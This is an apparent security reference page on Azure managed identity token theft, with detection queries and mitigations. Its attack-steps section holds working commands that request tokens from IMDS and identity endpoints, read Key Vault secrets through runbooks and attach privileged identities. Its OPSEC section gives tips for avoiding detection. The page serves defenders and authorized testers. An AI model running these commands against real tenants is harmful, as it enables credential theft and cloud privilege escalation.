How it works
A managed identity is a service principal in Microsoft Entra ID whose credential is held by the Azure platform and never shown to the customer. The workload it is attached to asks the platform for an access token for a target service, and the platform returns one. No secret is stored in code or configuration, which is the reason to use it. The other side of that design is that the right to ask is tied to the place, not to a process or a user: whoever can run code inside the workload can ask.
There are two kinds:
- A system-assigned identity belongs to one resource and is deleted with it.
- A user-assigned identity is a resource of its own that can be attached to many workloads. Every workload it is attached to can request tokens as it, and the target service sees the same principal whichever host asked.
The request surface differs by host:
- Virtual machines and scale sets. The Instance Metadata Service (IMDS) answers at
http://169.254.169.254/metadata/identity/oauth2/token. The request must carry the headerMetadata: true, which exists to make server-side request forgery harder, and aresourceparameter that names the audience. - App Service and Azure Functions. The platform sets two environment variables,
IDENTITY_ENDPOINT(a local URL) andIDENTITY_HEADER(a value the request must send in theX-IDENTITY-HEADERheader). - Azure Automation. A runbook calls
Connect-AzAccount -Identity, or requests a token over HTTP in the same way as App Service. On a hybrid runbook worker, enabling the Automation account identity overrides the VM's own system-assigned identity for hybrid jobs. - Azure Logic Apps. A workflow action, such as the HTTP action, is configured to authenticate with the workflow's managed identity. The author of the workflow chooses the URL the token is sent to.
The attack has the same shape on all of them: gain control of the workload, request a token as its identity, use the identity's roles. Control can come from inside (remote code execution in the application, a compromised user on the VM, a server-side request forgery flaw that can set headers) or from the Azure control plane (a role that can run commands on a VM, publish a runbook, deploy function code or edit a workflow). A third route attaches a privileged user-assigned identity to a workload the attacker already controls.
A token is issued for one audience. A token for Azure Resource Manager is not accepted by Key Vault, so the attacker requests one token per target service. This is a form of workload identity theft that needs no password, no MFA and no credential theft in the usual sense.
Prerequisites
- One of the following on a workload that has a managed identity:
- code execution on the host (shell, web shell, application flaw);
- a request forgery flaw that can reach the local token endpoint and set the required header;
- an Azure role that can execute code on it: for example
Microsoft.Compute/virtualMachines/runCommand/actionor extension write on a VM, runbook write and publish on an Automation account,Microsoft.Web/sites/writeand deployment rights on a function app,Microsoft.Logic/workflows/writeon a logic app.
- For the attachment route: write access to a workload plus
Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/actionon the identity (the Managed Identity Operator role carries it). - For the attack to pay off: role assignments, Key Vault access or Microsoft Graph permissions on the identity. An identity with no grants yields a token that opens nothing.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
The steps below are for an authorized assessment or a lab.
1. Find workloads with a privileged identity
# All managed identities in the tenant
az ad sp list --all --filter "servicePrincipalType eq 'ManagedIdentity'" \
--query "[].{name:displayName, id:id}" --output table
# User-assigned identities in the subscription
az identity list --output table
# What one identity holds
az role assignment list --all --assignee 00000000-0000-0000-0000-000000000000 --output table
2. Virtual machine: request a token from IMDS
From a shell on a Linux VM:
# Token for Azure Resource Manager
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
# Token for Key Vault, for a specific user-assigned identity
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net&client_id=00000000-0000-0000-0000-000000000000' -H Metadata:true -s
From Windows:
$response = Invoke-RestMethod -Method GET `
-Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' `
-Headers @{ Metadata = "true" }
$response.access_token
The response is JSON with access_token, expires_on and resource. If the VM has several user-assigned identities, add client_id, object_id or msi_res_id to pick one.
Without a shell, an Azure role is enough. Run Command executes a script as root or System and returns the output:
az vm run-command invoke -g rg-prod -n SRV01 --command-id RunShellScript \
--scripts "curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true"
If the Azure CLI is installed on the host, it can sign in as the identity directly:
az login --identity
az login --identity --client-id 00000000-0000-0000-0000-000000000000
3. Function app or web app: use the identity endpoint
From code or a console inside the app:
curl -s "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
$tokenAuthURI = $env:IDENTITY_ENDPOINT + "?resource=https://management.azure.com/&api-version=2019-08-01"
$tokenResponse = Invoke-RestMethod -Method Get -Headers @{"X-IDENTITY-HEADER"="$env:IDENTITY_HEADER"} -Uri $tokenAuthURI
$tokenResponse.access_token
With no ID parameter the endpoint returns a token for the system-assigned identity. Add client_id, principal_id or mi_res_id for a user-assigned one.
4. Automation account: run a runbook as the identity
Create a PowerShell runbook, give it content, publish and start it:
az automation runbook create --automation-account-name "aa-prod" --resource-group "rg-prod" \
--name "inventory-check" --type "PowerShell" --location "West Europe"
az automation runbook replace-content --automation-account-name "aa-prod" --resource-group "rg-prod" \
--name "inventory-check" --content @runbook.ps1
az automation runbook publish --automation-account-name "aa-prod" --resource-group "rg-prod" --name "inventory-check"
az automation runbook start --automation-account-name "aa-prod" --resource-group "rg-prod" --name "inventory-check"
The runbook body acts as the identity:
# runbook.ps1
Disable-AzContextAutosave -Scope Process
$AzureContext = (Connect-AzAccount -Identity).context
Get-AzRoleAssignment | Select-Object RoleDefinitionName, Scope
Get-AzKeyVaultSecret -VaultName 'kv-prod' -Name 'db-password' -AsPlainText
For a user-assigned identity use Connect-AzAccount -Identity -AccountId <client ID>.
5. Logic app: make the workflow call the target
With write access to a workflow that has an identity, add an HTTP action that calls the target API (for example a Key Vault secret URL or an Azure Resource Manager URL), set its authentication to the managed identity with the matching audience, and run the workflow. The response body appears in the run history. The identity's token never leaves the platform, but the result of the call does.
6. Attach a privileged identity to a workload you control
az vm identity assign -g rg-dev -n WS01 \
--identities /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/rg-prod/providers/Microsoft.ManagedIdentity/userAssignedIdentities/id-deploy
az webapp identity assign --resource-group rg-dev --name app-dev \
--identities /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/rg-prod/providers/Microsoft.ManagedIdentity/userAssignedIdentities/id-deploy
Then request a token for that identity as in step 2 or 3.
7. Use the token
TOKEN="<access token>"
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01"
The token works from any machine until it expires.
Impact
The attacker acts as the identity, with all of its Azure role assignments, Key Vault access and Microsoft Graph application permissions. Deployment and automation identities are often overprivileged: Contributor or Owner on a subscription is common, and from Owner the next step is role assignment abuse. An identity with a Key Vault role leads to secret access, and a shared user-assigned identity gives lateral movement between every workload that carries it.
There is no password to reset. A token that has left the workload stays valid until it expires, and the identity stays usable by the attacker for as long as the workload access lasts.
OPSEC and artifacts
- The token request itself is not logged in Azure. A call to IMDS or to the App Service identity endpoint is a local request on the host. No Azure resource log records it by default. Only host telemetry (process, command line, connections to
169.254.169.254) can show which process asked. - Token issuance is logged, once per target. When the platform obtains a token from Microsoft Entra ID, a managed identity sign-in record is written with the identity and the target resource. The platform caches tokens, so many requests can share one sign-in record, and a workload that already uses the same audience gives the attacker's request nothing new to stand out against. Operators prefer audiences the workload already uses.
- Using the workload's own path. Operators call the target service from the workload itself, so the source address at the target matches normal traffic. Taking the token elsewhere changes the caller address in the target's logs (Key Vault, Storage, the Activity Log
CallerIpAddress), which is the best available signal. - Control-plane routes leave control-plane records. Run Command writes
Microsoft.Compute/virtualMachines/runCommand/action; an extension writesvirtualMachines/extensions/write; a runbook leaves draft, publish and job records and the job's own history; a workflow edit writesMicrosoft.Logic/workflows/writeand a run history entry; a function deployment writesMicrosoft.Web/sitesoperations. The script content is not in the Activity Log. - Attachment is a write on the consuming resource. Assigning a user-assigned identity to a VM or app appears as a write on that VM or app, with the identity in the resource's
identityproperty afterwards. It changes no role assignment, so a review of grants alone does not show it. - What the identity does next is logged normally. Azure Resource Manager writes appear in the Activity Log with the identity's object ID as caller, and Key Vault and Storage data operations appear in their resource logs when diagnostic settings route them.
Detection
- Code execution on workloads from the control plane. The rules for VM Run Command, VM extensions, Automation runbook changes, function app deployment changes and logic app workflow changes cover the routes above. The source pages describe the records: runCommand/action, extensions/write, runbooks/publish/action, jobs/write and workflows/write.
- A new audience for an identity. Baseline
ResourceDisplayNameperServicePrincipalIdinAADManagedIdentitySignInLogs. An identity that has only ever asked for Storage tokens and now asks for Azure Resource Manager or Microsoft Graph has changed behavior. - Identity activity from an unexpected address. In the Activity Log and in Key Vault and Storage logs, a managed identity's calls should come from its workload's addresses. Calls from elsewhere mean the token left the host.
- New trust on an identity. A federated credential lets an external token issuer act as the identity without any workload. See the federated credential added to a managed identity rules and the federatedIdentityCredentials/write record.
- Host telemetry. On VMs, alert on unusual processes connecting to
169.254.169.254with a path under/metadata/identity/.
// Managed identities that requested a token for a resource they had not used in the previous 30 days
let recent = AADManagedIdentitySignInLogs
| where TimeGenerated > ago(1d) and ResultType == "0"
| distinct ServicePrincipalId, ServicePrincipalName, ResourceDisplayName;
let baseline = AADManagedIdentitySignInLogs
| where TimeGenerated between (ago(30d) .. ago(1d)) and ResultType == "0"
| distinct ServicePrincipalId, ResourceDisplayName;
recent
| join kind=leftanti baseline on ServicePrincipalId, ResourceDisplayName
A successful sign-in record shows that a token was issued for a resource service. It does not show which process asked, and it does not name the individual vault or storage account; the target's own log does that.
Mitigation
- Give each identity the least it needs. Assign roles at the resource or resource group, not the subscription, and use data-plane roles for data. An identity that can only read one vault is worth little to steal.
- Limit who can run code on the workload. Treat roles that carry Run Command, extension write, runbook publish, function deployment and workflow write on a workload as equal to the workload's identity, and assign them as carefully.
- Limit who can attach identities. Restrict
assign/actionon user-assigned identities (Managed Identity Operator) and review which workloads each identity is attached to. - Do not share a privileged user-assigned identity across workloads of different trust levels. Use separate identities so that a compromise of the weakest host does not hand over the strongest grant, and so that logs can attribute use.
- Restrict the target, not just the caller. Key Vault and Storage firewalls and private endpoints stop a token that has been taken off the workload's network from being useful.
- Fix request forgery flaws and keep the header check intact. Never proxy client-supplied headers to internal addresses, and do not expose IMDS through a proxy on the host.
- Collect the logs. Route managed identity sign-in logs, the Activity Log and Key Vault and Storage resource logs to a workspace, and keep host process and network telemetry on VMs.
- Plan containment around token lifetime. Removing a role assignment or detaching the identity does not cancel tokens already issued, and Microsoft documents a delay of up to around 24 hours for role changes on managed identities. The Azure SQL managed identity token extraction write-up shows the same pattern on another host: a database principal obtaining tokens for the server's managed identity from T-SQL.
Detection rules for this attack
Log events to collect
FAQ
What is the security boundary of a managed identity?
The resource it is attached to. Microsoft states that all code running on a virtual machine can request tokens for any managed identity available on it. There is no per-process check, so local code execution on the workload, or the right to run commands on it from Azure, equals use of the identity.
Can a managed identity token be used outside Azure?
Yes. The token is a bearer token. Once it is read from the metadata endpoint it can be sent to the target API from any machine until it expires, and the API can't tell the difference from the token alone.
Can a stolen managed identity token be revoked?
Not directly. Microsoft documents that it isn't possible to force a managed identity's token to be refreshed before it expires and that role changes can take up to around 24 hours to take effect for the identity. Containment means removing the role assignments, detaching the identity and waiting out the token lifetime.
Does Conditional Access protect managed identities?
No. Conditional Access for workload identities covers service principals of applications; managed identities are outside what the policy can target. Protection comes from limiting who can run code on the workload, least privilege on the identity, and network controls on the target services.
References
- Unsecured Credentials: Cloud Instance Metadata API, T1552.005 (MITRE ATT&CK)
- Use managed identities on a virtual machine to acquire an access token (Microsoft Learn)
- Managed identities in Azure App Service and Azure Functions (Microsoft Learn)
- Using a system-assigned managed identity for an Azure Automation account (Microsoft Learn)
- Authenticate access to Azure resources with managed identities in Azure Logic Apps (Microsoft Learn)
- Run scripts in your Linux VM by using action Run Commands (Microsoft Learn)
- AADManagedIdentitySignInLogs table reference (Azure Monitor)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.